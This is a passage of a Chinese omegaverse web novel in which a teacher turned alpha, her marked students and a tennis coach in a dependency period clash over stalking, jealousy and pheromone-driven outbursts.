“总之不要麻烦白老师了,她帮我标记已经很为难了,你交往过那么多女朋友,随便在里面找一个分化成alpha的帮你标记不就成了,反正你人虽然渣,分手费给的倒是大方,她们应该不会介意帮你的。” 也不知道他是真心建议还是故意嘲讽,反正怎么样都不中听,气得江峤信息素差点溢出来。 江峤是个叛逆的,越不让他干什么他越要干,而且他也的确很好奇。 不仅是好奇标记是什么感觉,更好奇白琼的信息素到底是什么,竟然能把齐缜那家伙给勾成这样。 说干就干,下午一放学江峤婉拒了朋友去网吧打游戏的邀约,一路尾随着白琼到了她的家。 等等?似乎有哪里不对。 江家和顾家打过交道,虽然白琼和顾厌迟的婚礼江峤那时候没有参加,但他却跟着父母来顾家参加过顾老爷子的八十大寿,他记得顾家不在这里啊。 难道是他们的婚房? 可是这也不对啊。 江峤抬头望着这栋顶多算中等水准的小区,作为顾家儿媳,这里作为婚房的话未免也太寒碜了点儿吧。 “难不成顾家破产了?” “江峤。” 江峤百思不得其解的时候,身后一个凉凉的声音冷不丁传来,吓了他一大跳。 他猛地回头,对上了白琼冷淡的眉眼。 “白,白老师?你刚才不是在前面吗,怎么突然出现在我后面了?” 江峤看了看前面,又看了看眼前的女人,实在不明白对方是怎么做到的,明明他前一秒还看到她往前面巷子里走呢。 “我从前面巷子那边绕过来的,倒是你,你狗狗祟祟跟踪我了一路到底想干什么?” 白琼从一开始就发现了自己后面跟着一个小尾巴,但她没太在意,以为对方只是和自己顺路,后头在意识到对方是在跟踪自己后又想知道他到底想要做什么。 江峤以为自己已经足够谨慎了,没想到会被发现,尴尬地挠了挠面颊。 “白老师,我……” “别说谎,你说谎我看得出来。” 江峤和齐缜不一样,可能是因为从小到大都被宠着长大,他的情绪基本上都写在脸上,从没有隐瞒也没有隐瞒的必要,所以他很不擅长说谎。 原本慌乱思考着找合适的借口搪塞过去的少年一噎,女人的脸色更冷了。 一般而言学生对老师多少都有些敬畏感,江峤也不例外,尤其是现在白琼还分化成了alpha,天生被alpha压制的omega很难在对方面前硬气起来。 江峤不想让自己露怯,强忍着避开她视线的欲望,梗着脖子说道:“我知道你帮齐缜标记的事情了。” “嗯,所以呢?” 白琼没有心虚,也没有慌乱,淡淡反问。 这反而把江峤给整不会了。 这不对吧。 他发出了第二次疑问。 被人发现了这种事情,还当面直接戳破了,正常人会这么淡定吗?她难道不怕自己把它奔走相告吗? 预想之中用这件事拿回主动权的江峤一时之间不知道说什么了。 可白琼的耐心实在有限,自从和顾厌迟离婚后她就从原本的婚房搬出来了。 离婚后她从顾厌迟那里分到了不少财产,包括那栋婚房。 只是白琼不愿意继续住在那个他们生活了五年的地方,这让她感到恶心。 但一直住在杨清容那里也不是个办法,这才选择了在学校附近找了个房子暂住。 结果才住了没多久,就迎来了这么个不速之客。 白琼眯了眯眼睛,最近她心情很糟糕,对这个一向和自己唱反调的学生也没有多少耐性。 她也不想问对方是从哪里知道自己标记了齐缜的事情,直接开门见山道:“你想威胁我?这对你有什么好处吗?还是你想要从我这里得到什么好处?” 白琼倒不怕威胁,现在每天都有新增的进化者,进化的数量太多,让处于热潮期的人也与日俱增。 与之相反的是被突然的进化打得措手不及,短时间没办法跟上进化脚步,研制出对应的缓解热潮期的药剂,所以在AO双方同意的情况下进行标记并不是什么违法乱纪的事情。 幸运分化成AO的夫妻和情侣可以互相解决,其他的就只能寻求朋友之类的帮助。 学生找老师是有些让人不好接受,可这也是现阶段没办法的事情,就算暴露了对她的影响也不痛不痒,顶多被人非议几句而已。 江峤缩了缩脖子,气焰毫无,“我,我说了你真的会满足我吗?” 白琼凉凉道:“看情况吧,如果你也和齐缜一样要我帮你标记的话那就算了。” 本来没想过让对方帮自己标记的江峤听到这话一下子怒了,气呼呼道:“凭什么他就可以我就不可以?你还说你你偏心,就因为我是差生他是优等生你就这么区别对待是吧?!你这样还配当人民教师吗!” 她掀了下眼皮,用一种看傻子的眼神看过去,“你想多了,我只是单纯不喜欢你的信息素,太冲。” 火药味信息素的江峤想反驳却没办法反驳,气得咬紧牙关,“反正你就是偏心。” “你说什么就是什么吧,所以你到底想干什么?不说的话我就走了。” 白琼还着急回去做晚饭呢。 江峤突然变得不好意思起来,小声道:“没什么,就是想……” 白琼皱眉,“大点儿声。” 他深吸了一口气,“我想闻闻你的信息素。” 白琼:“……” “你就是因为这个才跟踪了我一路?” 江峤也知道自己这举动很无聊很幼稚,可他就是好奇。 “齐缜自从被你标记后就一直魂不守舍的,他之前闻到叶纾羽的信息素的时候都没那么夸张,搞得我不好奇也好奇起来了。” “你放心,我不会透露你的隐私的,我就闻闻,闻了我就走。不然的话我以后天天跟着你,烦死你。” 白琼看着少年明明很怕自己却又虚张声势威胁自己的样子扯了下嘴角,在后者以为对方不会答应的时候,一缕清甜的信息素猛地溢出。 很淡的气息,可存在感极强。 像一只藏在云雾里的手,随着云雾翻涌而下,变成倾覆山河的雨幕。 “噗通”一声,江峤双腿一软跪在了地上。 他还没有反应过来发生什么,无形的手变成了有形。 白琼的手压住他的发顶,把他用发胶精心固定好的发型给残忍的破坏掉了。 紧接着她拿出手机,对着跪在地上的少年拍了一张照片,在江峤错愕的表情下冷笑道。 “你的好奇心我也满足了,下次我再发现你跟踪我,就别怪我不顾及你的脸面把你的照片公之于众了。” 第46章 白琼警告完江峤离开后, 他保持着跪着的姿势十多分钟才从那种如山一样的压迫感中缓过来。 江峤手撑着墙站了起来,脸上没有太多血色,全然的心有余悸。 太可怕了, 他不是没有感知过alpha的信息素, 抛去最近身边一些分化成alpha的朋友和同学由于情绪波动不受控制溢出的信息素外, 他在前段时间还倒霉催的碰上了叶纾羽的热潮期。 饶是在那种alpha信息素濒临暴走的情况下, 也没有刚才女人的信息素给他的威慑力要强。 怪不得齐缜前几天热潮期还要死不活的, 走个路都脚步虚浮,被标记后就跟个没事人似的照常上课, 原本紊乱躁动的信息素被完全抑制了下来,稳定的不知道还以为他分化的不是omega而是beta。 江峤虽然才分化结束没多久, 对于alpha什么的并不算多了解,但简单的等级强弱却是明白的。 越是强大的alpha信息素也越强, 即使释放了一点信息素也不亚于噗通alpha热潮期释放的强度。 白琼大概就是属于那种特别厉害的alpha。 一时之间江峤对齐缜的佩服直线攀上,他连找个普通的alpha帮自己标记都已经很排斥了, 没想到他竟然敢找白琼这种级别的alpha标记。 江峤庆幸自己没有真的心血来潮冒犯去找白琼帮他标记,不然的话他不敢想自己被对方标记后会变成什么样子。 他缓了一会儿,压下心头还没有散去的慌乱回了家。 江峤一般回家都很晚, 今天八点不到着了家反而让江夫人很惊讶。 “哟, 太阳打西边出来了啊,今天咱们少爷怎么这么早就回来了?” 面对自家母亲的调侃, 若是换作平时并不会在意,今天因为被白琼的信息素搞得有些心绪不宁, 烦躁地抓了把头发。 “妈,你还是我妈吗?我最近什么情况你不知道,你不关心我也就算了,能不能别说风凉话?” 江夫人白了少年一眼, “我关心你有用吗?你自己不愿意找alpha帮忙标记我能有什么办法,总不能强摁着你头强迫你吧?” “不过我劝你还是尽早做好心理准备,这次能挨过去不代表下次也能,不进行标记的话热潮期只会越来越严重,你现在就要死不活了以后还不知道难受成什么样子。” 江夫人一改刚才的调侃,神情严肃道:“再给你两天时间,最多三天,你要是还是没办法做决定那只有我帮你做决定了。” “不要!” 少年的反应比以往任何时候还要强烈,女人一愣,后知后觉觉察到了对方的不对劲。 之前江峤虽然也会排斥这件事,可却没有现在这么抗拒,他此时的神情不光有被人标记的不爽,还有不安和害怕。 他在害怕什么? 知子莫若母,江夫人几乎没怎么想就意识到他在害怕什么。 “你害怕标记?” 为什么突然害怕起标记来了?怕疼?的确他也曾经说过这一点,但更主要的原因是他无法接受自己像个女人那样被压制,他觉得很耻辱。 现在他突然害怕起来了,是发生了什么吗? 比如说……看到了什么。 “你是不是看到什么标记现场了?” 作为标记的过来了,江夫人很有发言权。 “我懂你为什么会感到害怕,的确,如今大多数alpha和omega一样也是刚分化完成,初次进入热潮期没什么标记经验,加上不大会控制信息素所以在标记过程中没轻没重,甚至还有失控的情况,但你放心,我会帮你物色一个有经验的alpha,过程可能多少会有点不适,但肯定不会到让你没办法承受的程度。” 江峤的脸色还是很不好看,感知过了白琼的信息素后他不光是对标记,对alpha都有些心理阴影了。 尽管他知道绝大多数的alpha都达不到白琼信息素都强度。 可万一呢,万一他也遇到个跟白琼一样可怕的alpha呢。 “不……” 江峤想说不要,话到了嘴巴又咽了回去,改口道:“你让我考虑考虑吧。” 再怎么排斥和畏惧alpha,只要他身为omega一天都没办法躲开标记这件事。 江峤感到不甘甚至有些委屈,真不公平,为什么那些远比他弱的家伙能分化成alpha,自己却不能。 看着印象中向来桀骜不驯的儿子此刻神情恹恹,跟霜打了的茄子似的没有精神,江夫人又心疼又觉得好笑。 她上前拍了拍少年的肩膀,柔声道:“别怕,天塌了有妈顶着呢。你也是,一个小小的标记有什么好怕的,以前你和人打架把脑袋都打破了也没见你怕过,标记再怎么可怕也不可能有你脑袋差点开花严重。” 江峤心不在焉地应了一声。 女人见他连自己拿他最嗅最不愿意提起的事情出来说也没反应,可见是真的被吓坏了。 也不知道他目睹的那个标记现场得有多粗暴,才能让自己这个天不怕地不怕的儿子吓成这样。 江夫人心疼了,犹豫了下松口了之前没有答应少年的那件事。 “你还记得之前你提起的那个网球选手吗?” 江峤心下一动,“知道啊,我当时想让你请他给我当私人教练你还拒绝我了,说什么我现在当务之急是学习不是打球。” 他瘪了瘪嘴,语气不满,“你明明说好的我生日想要什么都会满足我的,结果我真说了你又反悔了,哪有你这样说话不算数的家长。” 江峤运动神经发达,不管是篮球还是网球都打得不错,尤其是后者,从小到大参加了不少比赛,拿了不少奖杯。 后来渐渐的普通的教练已经教不了他了,好不容易看上了一个能力出众又和他风格很适配的网球选手,却被无情拒绝了。 这事自他十八岁生日到现在已经过去了一个多月了,普通生日也就算了,那可是他成人礼,江峤对此一直耿耿于怀。 “告诉你一个好消息,他也分化成了omega。本来之前我拒绝你这个要求就是出于性别上的担忧,想着他万一是alpha的话做你的教练不大合适,现在倒是没这个顾虑了。” 江峤眼睛一亮,语气激动道:“所以你这是答应了?” 江夫人看他总算一扫先前的愁眉苦脸的模样,笑着道:“咱们江大少爷的要求我怎么可能不满足呢?不过一周只能上节课,就当劳逸结合了,而且你还得答应我要想打网球的话就不能打游戏,也不能跟你那些狐朋狗友出去鬼混了,听到没?” “嗯嗯答应答应我都答应,我本来最近就不打算和他们玩了,他们有好些还没分化,总是去网吧玩,那里乌烟瘴气的,气息特别杂,我去了都犯恶心。” 江峤是个好哄的,因为自己的愿望得到了满足,沉浸得到了心仪教练的喜悦之中,很快把标记的事情抛之脑后。 但邀请那位网球选手的过程并不顺利,江夫人几乎是三顾茅庐,对方不是以身体不适就以要准备比赛为由拒绝了她。 直到她找上了对方的父亲,以愿意和他的酒店达成合作帮助他度过难关为条件,这才让他的父亲对他施压,他才不得不接下了这门差事。 饱受热潮期折磨的沈母终于得到了男人施舍般的标记,她的身体像搁浅的鱼回到了水中一样得以喘息,心理上却痛苦不堪得生不如死。 她身体颤抖着,抱着沈霁不停地流泪。 “对不起,对不起……” 沈霁面无表情地抱着女人,神情麻木。 她一直在道歉,道歉的声音破碎呜咽。 即使没有说为什么道歉,沈霁也知道她在因为什么道歉。 为她分化成了omega,为受她基因的影响分化成了omega的自己。 第47章 沈霁以自己准备比赛没时间虽然是假, 因为距离决赛他有足够的时间进行训练,但他说自己身体不适却是真。 自从白琼给他做了标记之后,那反复折磨了他五年之久的热潮终于在此刻得以平息, 但随之而来的依赖期并不比前者难熬。 这还只是前期, 他完全不敢想到了后期自己会不会失去自我, 变成脑子里只有白琼的“恋爱脑”。 清晨的阳光照了进来, 床上的长发男人盯着天花板, 眼下的青黑可以看出他要么一夜没睡,要么才睡没多久就醒了。 长发之下他的腺体上的咬痕已经消失得差不多了, 可依旧泛着热潮期时候一般的绯红。 空气里的蝴蝶兰信息素隐约,急躁的到处乱转, 想要捕捉到什么,又因为什么也捕捉不到而又悻悻地回到了腺体里。 沈霁强压着身体的不适, 将放在床头柜上的手机拿下来,手指轻触屏幕, 早上六点半,换作以往时候他已经起来晨练跑步了。 他沉默着解锁,不受控制地点开了那个手机号码。 白琼说过想要自己假扮她的新欢, 他不知道她是真心的还是出于别的什么目的。 她的前夫可是顾厌迟。 顾厌迟喜欢男的是真, 不然也不会在明明和自己一样处于omega的分化阶段还对自己的信息素起了反应,但也正是因为他分化成的是omega而不是alpha, 当初他们也并没有发生什么不可描述的事情。 但白琼知道这件事吗,还是就是因为知道了自己差点跟她喜欢的人发生什么所以才盯上了自己? 沈霁不得而知。 不过要是她真存了这个想法的话, 那对于顾厌迟来说的确是一件既能刺激对方又能报复对方的法子。 毕竟顾厌迟对他颇为厌恶,当初自己选择出国训练也少不了他其中的手笔。 试想一下对方在发现自己前妻的“新欢”是他的样子,对方可能杀他的心都有了。 这个联想愉悦到了沈霁,他扯了下嘴角, 可随即腺体上的灼热又把他那点儿恶趣味给生生压了下来。 紧跟着生起的是一种酸涩的嫉妒和不甘。 他还没有给白琼答复,这个计划必须他点头才算达成。 沈霁也清楚地明白白琼给他思考的时间不是真的尊重他的意愿,与其说是让他好好考虑,倒不如说是想要看看他能够在依赖期之下坚持几天。 论起恶劣车程度,比起她来自己还真是鞭长莫及。 如果白琼没有自爆她和顾厌迟的关系的话,他答应也就答应了,无论是白琼还是她的前夫,于他都是不相干的人,他们的爱恨情仇什么都和他无关。 现在他却很难说服自己松口的答应了。 他心里有两个声音,一个在说反正是能给顾厌迟那家伙添堵的事情,顺手做了就做了,还能帮自己解决热潮期的问题,于他又没什么损失,另一个声音又在质问他甘心被白琼利用吗,还是为了刺激顾厌迟? 标记之下的omega的感性总是大于理性,尤其是在双方的信息素过于契合的情况下。 尽管没有去做过所谓的信息素契合度测试,但沈霁能感觉到自己的信息素对白琼的渴求。 不光是信息素,乃至她整个人。 早在标记之前,两人第一次见面的时候即使在杨清容那样一个明艳张扬的女人面前,他也第一眼注意到了对方就预示到了—— 他们两人信息素极度契合这一事实。 那她和顾厌迟呢?是不是也这样契合? 她对他的感情是因为信息素的影响,还是真的出于发自内心的喜欢? 别想了沈霁,这和你又有什么关系,你该不会真的因为一个标记就想着和她有什么未来吧。 她又不喜欢你,你也……不可能真的会喜欢她。 只是信息素,只是标记在作祟而已。 沈霁将脑子里那些 乱七八糟的念头甩出去,起床洗了把冷水脸,简单收拾了下便背着网球袋出发了。 在决定要不要答应白琼的提议之前,他得先应付江家那个讨人厌的小少爷。 沈霁来到江家后江夫人客客气气招待了他,女人举止优雅得体,要不是知道她背地里为了强迫他答应给他儿子做教练和自家父亲达成了什么交易,他还真会被对方这副和善的样子给蒙骗过去。 “沈教练,我儿子的水平你应该已经提前了解过了,他的水平虽然训练几年应该可以达到职业水平,但我们并无意让他走职业,走职业太辛苦了,先不说会搞得一身伤痛,我们就这么一个儿子,以后到处比赛聚少离多我们也实在接受不了。” 女人道:“你就简单教一下,要求不用太高,能稍微提升下他的水平,顺便陪练一下满足他和高手对练的愿望就行。你放心,价格方面我们不会亏待你的。” 沈霁听着她这番话心下冷笑,这话说的,到底是给他儿子找教练还是找消遣? 他面上不显,神情平淡道:“我明白了,我会按照你的要求去办的,但万一你儿子希望我更加严格认真地教他呢?” 沈霁不是站在江峤的角度去帮他问,单纯是担心拒绝了他的要求会被迁怒。 江夫人笑道:“那你就照他说的做吧。” 沈霁对于女人前后矛盾的说法感到不解,直到真正见到了江峤后他才明白对方为什么会这么说。 因为少年也分化成了omega,且看样子还处于还没有被标记的状态。 他的身体没办法承受高负荷的训练。 果然,在两个小时后,少年便知难而退,气喘吁吁要求中场休息。 “不,不行了,沈教练,我要歇歇。” 江峤看着面不红气不喘的男人,佩服的对他竖起大拇指,“你真厉害,之前我看你比赛的时候就发现你体力很好,全程下来也就出点汗,真正接触下来发现你更牛了。要不是我听我妈说你分化成了omega,我都要以为你是个alpha了。” 沈霁给他递了一条毛巾,对他的夸奖没有什么反应,只淡淡道:“那就休息十分钟,一会儿继续。” “嗯嗯,好。” 江峤的脾气虽然不大好,面对大多数人都没什么好脸,说上几句就不耐烦了,但要是对方是他认可的人他还是挺好说话的。 他一边擦着汗一边不着痕迹观察着身边这个俊美的不似真人的男人。 江峤注意到沈霁是出于看到了他国外的一场转播的比赛,青年那时候还没回国,在国内没什么人认识他,他也对他没什么印象。 而且他当时之所以停下观看他的比赛也不是因为他精湛的球技,而是这张脸。 后来看了他比赛后才了解到了他不输给他皮相之下的强劲实力。 刚才江峤说什么很难相信对方一个omega体力会这么厉害,毕竟他自从完成分化到现在感觉体力一日不如一日,他似乎没有受到任何影响。 不过话又说回来,顶着这么一张脸要是分化成alpha的话才让人觉得不可思议。 而且以前在电视屏幕上第一眼看到沈霁的时候就很惊艳了,竟然有男人长发也这么漂亮,且没有一点女气,此刻近距离看他的脸也毫无瑕疵。 “沈教练,应该有很多人追求你吧。” 正在调整网球线的沈霁听到这话一顿,掀起眼皮道:“好端端为什么突然这么问?” 江峤道:“也没很突然吧,你长得那么好看,看到你的人基本上都会这么想吧。” 面对少年一脸好奇的神情,他淡淡道:“还好。” 少年显然对这个听上去就很敷衍的回答不是很满意,追问道:“还好是多少?有没有十个?不,几十个?现在和以前比呢,数量是不是更多了?” 沈霁深吸了一口气,被问的不厌其烦,“你的问题一直都这么多吗?” 江峤完全看不懂脸色,又或者他根本不屑于看人脸色,自顾自继续问道:“还行吧,只是对你比较好奇,要是别人我可懒得搭理。” “呵。” 沈霁气笑了,“那我是不是还应该感到荣幸?需要我对你说声谢谢吗?” 江峤挑了挑眉,看着青年因为愠色而显得生动的眉眼,心下忍不住出了个口哨。 美人嗔怒,更好看了。 “沈教练,我就是趁着休息时间想和你聊聊天放松下,你对我那么戒备干什么,我又不是觊觎你的alpha。” 他视线往下,道:“你标记过了吧。” 沈霁的头发为了方便运动用发绳扎起来了,脖子暴露在空气,腺体上的痕迹已经很淡了,还被不正常的潮红给遮掩了,不仔细看根本看不出来。 以前江峤可能注意不到,但他接触过齐缜,被标记与否的omega的状态是很容易分辨的。 先不提运动了这么久信息素还这么稳定这一点,光是男人看着明显没休息好,气色却还是很不错的样子要说没有alpha的信息素滋养他都不信。 沈霁此刻算是终于明白了他为什么会一直追问他有没有被追求的事情了。 他没否认,却也不想过多解释什么。 少年却不依不饶,“你的信息素强度应该很高吧,毕竟你的体力那么好,这可不是一般omega可以比的。那你的标记对象是不是也很厉害?” “十分钟到了,继续吧。” “诶,你这人怎么这样,我问你话呢,喂……?!” 一颗橙绿色的球飞速从少年耳边擦过,速度之快,球风刺耳,看着那球在身后的地面上砸了一个很明显的坑印后他咽了咽口水道:“不说就不说嘛,发什么脾气?” 沈霁对于少年毫无情商打探别人隐私的行为是不爽,但却没有真的生气,他之所以那么火大不是冲着江峤,是冲着自己。 因为在江峤询问他的标记对象的时候,他第一时间不是被冒犯隐私的不悦,而是排斥和警惕。 他对于自己竟然把一个毛都没长齐的孩子当成潜在情敌对待而感到羞恼和难堪。 该死的标记,该死的白琼。 这也更加坚定了他绝对不能答应白琼所谓扮演他“新欢”的要求,继续和女人保持这样暧昧的标记关系于他而言太过危险。 他应该去找别的alpha,可他潜意识里又排斥着标记这件事。 这一次不单单是不希望被标记影响—— 不知道是初次标记的雏鸟情结还是信息素过于契合导致的排他性,他潜意识里没办法接受除却白琼以外的alpha碰触自己。 沈霁的心情本来就很差,被标记影响,加上女人和顾厌迟的关系,以及母亲分化成了omega彻底被父亲拿捏,同时他也不得不因为母亲而受制于对方,以及眼前的少年…… 为了满足一己私欲,他的母亲让男人给他施压的事情。 前面的不论,无论是白琼还是顾厌迟他们,他们再烦他也可以选择眼不见心不烦,可江峤不同。 他每周都要和他见面,一待就是一上午,此时也是,江峤一边打球一边还絮絮叨叨的和他讲话。 “沈教练,沈教练。” 这三个字像魔音入耳,沈霁烦躁得恨不得拿球堵住他的嘴。 好不容易挨到了离开的时候,江峤还不肯放过他,以要送他为由又跟着他走了一路。 沈霁忍了很久,直到人跟着他到了别墅大门口他才冷声道:“谢谢,你可以回去了。” 江峤没动,盯着沈霁脖子上明显红的异常的腺体,道:“刚才在我妈那里我不好提醒你,你要不要去看看医生,虽然你的信息素没有溢出来,可你整个人的状态很不对劲。” 他指了指他发红的腺体,又指了指他布满红血丝的眼睛。 “我不知道是不是标记过的omega都这么暴躁,可我看过你的比赛,你在面对对手的挑衅还有对方粉丝的辱骂都能面不改色,你不是这样的人。所以我猜测你是不是处于依赖期。” 江峤只是不爱学习,不代表脑子蠢,相反的他头脑意外的还挺灵光的。 “你联系你的标记对象过来接你吧,怕你中途出什么意外,以防万一我陪你等着,顺便瞧瞧你的标记对象究竟长什么样子。” 少年很快图穷匕见,沈霁原本还因为对方担心自己有所触动,此刻脸彻底冷了下来。 沈霁是开车过来的,他没有搭理对方,上车关上车门发动引擎就要走,结果江峤直接拦在了车前面不让他离开。 沈霁恼怒地下来,一把攥住了他的衣领。 似曾相识的画面让江峤不由发笑,他就说标记过的omega脾气暴吧,和齐缜一个样。 “我不就是想看看你标记对象长什么样子吗,有什么好藏着掖着的?我发现你们这些被标记的omega特莫莫名其妙,本来是个正常人一提标记对象就炸。你不要我看我非要看,咋地,难不成她有三头六臂不成?” 沈霁沉着脸也不说话,用力把人往路边拽,江峤力气没他大,抵抗不了便胡乱扭动挣扎起来,试图逃脱束缚。 结果手“啪”的一声打到了男人的脖子,碰触到滚烫的温度的瞬间,信息素跟着溢了出来。 沈霁痛得闷哼了一声,攥着少年衣领的手下意识松开。 蝴蝶兰信息素馥郁强烈,连不是alpha的江峤都给熏得有些恍惚了。 他神情惊愕,不是因为被青年的信息素给震住了,而是从腺体溢出的另一道信息素。 果然不是他的错觉,在刚才在球场对练,对方莫名情绪外露的时候江峤就感知到了一股隐约的熟悉香气。 现在溢出的alpha信息素彻底验证了他的猜测。 但猜到了是一回事,验证了又是另一回事。 江峤难以置信地指着沈霁,说话时候震惊的差点儿咬到舌头。 “艹,怪不得我从看到你的时候就觉得你和齐缜被标记后的状态那么像,敢情你们是被同一个人标记了啊!” 第48章 江峤也就震惊了三四秒, 见男人的情况越来越不对,赶紧上前搀扶住他。 “喂,你别碰瓷儿啊, 我就不小心碰了你一下, 你别搞的我好像捅了你一刀似的站都站不稳的样子!” 沈霁的信息素溢了出来, 尽管和热潮期的浓度相比要轻得多, 可标记过后一直没有得到信息素安抚的身体格外敏感, 一点疼痛都会被放大好几倍。 江峤看上去只是轻轻碰了他一下,腺体反馈的灼热和刺痛却来势汹汹。 不仅是身体上的, 腺体的刺激让他内心压抑着的对白琼的渴求如潮水一样疯狂反扑。 他能感觉到自己的意识在不断变得混沌,脑子里从原本混乱的似乱麻的一团思绪慢慢聚拢在一起, 最后只剩了一个念头—— “白……白琼。” “什么?你说什么,你大点儿声我听不见?” 江峤扶着他的手臂, 隔着薄薄的一层衣料那皮肤的温度越来越烫,再去看他的脸, 也不知什么时候潮红一片。 这让他又急又怕,毕竟对方是被自己的话给刺激成这样的,万一他真出了什么好歹自己可是吃不了兜着走。 江峤越想越懊恼, 他也真是吃饱了撑着, 好端端的好奇他标记对象做什么,就算验证到了对方的标记对象是白琼又怎么样, 对他又没什么好处和影响? 沈霁嗫嚅着嘴唇,死死抓住江峤的手腕, 力道之大,疼得他龇牙咧嘴的想要挣开,对方却更用力了。 “那个齐缜……又是谁?他和白琼是什么……关系?” 艹,他就说这人好端端的反应怎么这么大, 就算是腺体被刺激到了在做了标记的情况下也不至于信息素紊乱成这样。 敢情是因为知道女人标记了除他以外的另一个omega,给气得。 江峤恨不得给自己一嘴巴子,让你嘴上不把门。 “啊也没什么,是我一同学,也是白老师的学生,他热潮期找白老师帮忙,白老师看在他是自己的学生才帮他标记的,你千万别多想。他那种毛都没长齐的小子怎么能跟你比呢……不是,等等,不对吧?” 先前因为感知到了沈霁身上有白琼的信息素而被震惊砸晕了头脑,以至于他这时候才抓住了重点—— “白琼她不是有老公的吗?” 他这下连白老师都不叫了,可见有多惊愕。 白琼帮齐缜标记还勉强可以理解,毕竟对方只是一个乳臭未干的孩子,一个标记而已还不至于产生那么龌龊的联想,可眼前的男人不同,这可是一个成年男性,还是一个俊美的成年男性。 这意义就有着本质的不同了。 移情别恋?出轨? 天啦,这是什么鬼热闹?前两天才发现了齐缜和白琼的事,现在又来了个沈霁,女主人公还都是同一个人。 江峤不知道该感叹世界真小还是白琼人不可貌相,长着一张老实脸到处留情,学校还不够手都伸到体育界了。 她老公知道吗?还是她们本来就是协议结婚,各玩各的? 短短一分钟里江峤就脑补了一堆东西,脸上惊讶,恍惚等情绪不停闪烁,最后停留在了对男人越发糟糕的情况下的担心。 “哎呀,这些都不重要,你先顾好你自己吧。我这就送你去医院!” 说着他就要把沈霁往车里拽,然后招呼不远处的一个负责别墅安全的保镖过来,示意他上去开车送他们去医院。 “不,不要,我不去医院。” 江峤使劲儿摁着挣扎着想要下车的男人,没好气道:“你这个情况不去医院难道要等着把脑子烧坏吗?” “白琼,我要白琼,我不要去医院我要去找白琼!” 先前情绪就算稳定的男人突然失控起来,他一把掐住江峤的脖子,双眼猩红道:“你为什么要阻止我去找她?是不是你在帮那个齐缜打掩护,她现在是不是那个齐缜在一起!” “咳咳,你疯了!松手!” 江峤没想到对方会突然发难,用力去掰他的手,可怎么也掰不开,只得气急败坏冲着保镖喊:“你们他妈的,不,你们他A的是不是眼瞎?还不快过来帮忙!” 江峤家的保镖基本上都分化成了alpha,这让他尤又酸又气,抱怨老天不公,怎么那么多人分化成了alpha差他一个怎么了? 现在看着那几个人高马大,身材魁梧的保镖因为忌惮沈霁的信息素犹豫着不敢过来的样子他就气得够呛。 不就是一点信息素吗,他们不是alpha吗,不是站在食物链顶端吗,竟然连区区omega的信息素都怕成这样? 江峤心里既恨铁不成钢又莫名多了一分分化成omega也不是一无是处的安慰,他咒骂道:“真是一群废物!” 他其实也有点被沈霁的信息素影响了,濒临热潮期的腺体隐隐发烫。 这样下去对方或许还没来得及二次发情,他可能要先一步出现热潮了。 于是江峤趁着保镖去叫omega的时候也不硬来了,竭力安抚道:“没有的事,白琼和齐缜不在一块儿,你先冷静一点,你不想上医院想见白琼是吧,这简单啊,你有她的联系方式吗?你直接打电话让她过来接你不就成了?” “打电话……” 沈霁一愣,眼神恢复了那么一点清明,对方不提醒他都忘了有这个选项。 可下一秒理智占据了上风,他痛苦地摇着头,“不行,我不能找她,我不能就这样轻易被她牵着鼻子走,我不能……” 江峤不懂他在说什么,他腺体痛得厉害,周围又有alpha保镖在,他一会儿万一进入热潮期就太危险了。 他在心里骂了沈霁一百遍,又骂了白琼一百遍,他招谁惹谁了,被他们前后脚折腾了个遍。 “白琼……我好难受,白琼……” 他那点儿刚生出来的理智又被依赖 期给压了回去,看到对方如同两个人格不断切换撕扯的情形,江峤打消了带他去医院的念头。 如今针对热潮期的有效药物并没有完全研究出来,沈霁去了医院也是治标不治本,而且他的情况明显就是依赖期。 没吃过猪肉他也见过猪跑,omega的依赖期最需要什么?自然是alpha。 只要让他的标记对象陪在他身边,对方的气息也好,声音也罢,都能让他在不用二次标记的情况下情绪得到极大的安抚。 江峤没时间征求他的同意,趁着他不注意的时候掏出手机,在通讯录中找到白琼的号码拨了过去。 这号码还是之前他妈给他存进去的,说让他在他们出差的时候有什么事找白琼,在整个鹿港一中他们最信任最认可的除了校长就是她了。 江峤以为自己永远也不会有拨打对方电话的一天,没想到打脸竟然来的那么快。 电话拨过去响了差不多两分钟,那边接听了。 “江峤?” 女人声音隔着手机传来,有些失真,也正是因为这分失真让本就略显冷淡的语气更冷了。 江峤不自觉又想起了之前女人拿信息素恐吓自己的那一幕,加上身边的男人身上也有一丝属于琼花的气息溢出来,让他有一种对方此刻就在面前的错觉,让他毛骨悚然。 “白琼,哦不,白,白老师,我……” 因为畏惧他说话磕绊了起来,半天都说不出一句完整的话。 “怎么?就这么想让我把你吓得六神无主的照片发出去供人欣赏?” “不不不,千万别!我保证以后绝对不会再跟踪你!” 江峤被吓得又能说利索话了,趁着舌头还没打结,他一口气将发生的事情也一并说了。 “白老师,沈教练在我这里,他依赖期好像很严重,你赶紧过来把他带去做个二次标记吧!” “喂?白老师,你有在听我说话吗?” 对面陷入了长达近十秒的沉默,女人的声音才再次响起。 “沈霁怎么在你那里?你调查我?” 白琼的语气冷得像冰碴子,江峤身子一激灵,赶紧解释:“没,都是巧合。他在给我当私人教练,刚才对练后可能因为剧烈运动导致他腺体受到了刺激,然后,然后他就开始不停叫你的名字,我才知道他也是你的标记对象,这才打给你的。” 江峤把自己刺激沈霁的事情给隐瞒掉,除此之外倒是句句属实。 这样半真半假的发言反而让人不容易发现破绽。 “白老师?” 艹,她怎么又不说话了?到底是信了还是没信?不信的话吱一声他好继续编啊! 蝴蝶兰信息素如一张密不透风的网把他笼罩着无法脱身,几近窒息。 更要命的是沈霁的情况不仅没有缓和,还因为他给白琼打了电话后更糟糕了。 “你怎么会有白琼的电话号码?说,你和她是什么关系!” “咳咳!” 天杀的有完没完,这疯子又开始掐他脖子了! “白老师!祖宗,我求你了,你快过来救救我吧,我要被你的相好给,咳咳给掐死了!你放心,今天的事情天知地知你知我知,我绝对不会给别人说,无论是你帮齐缜标记的事还是你背着你丈夫,咳,背着你丈夫在外面有人的事情,我发誓!” 江峤自认自己的态度已经够好了,结果对方听了他这番保证后反而适得其反。 “你在威胁我吗?” “不不不,我不是我没有,我只是不想……” “让沈霁接电话。” 白琼打断了江峤,他一点儿也没有感到不尊重,只觉得如释重负。 他连忙把手机递了过去,像递什么烫手山芋。 前一秒还掐着江峤脖子,一副双眼猩红,披头散发走火入魔的男人,在听到手机那边传来的声音后眼神立刻变得清澈无害起来。 “白,白琼,我是不是打扰你了,对不起,不是我,是他非要打给你的,我……” 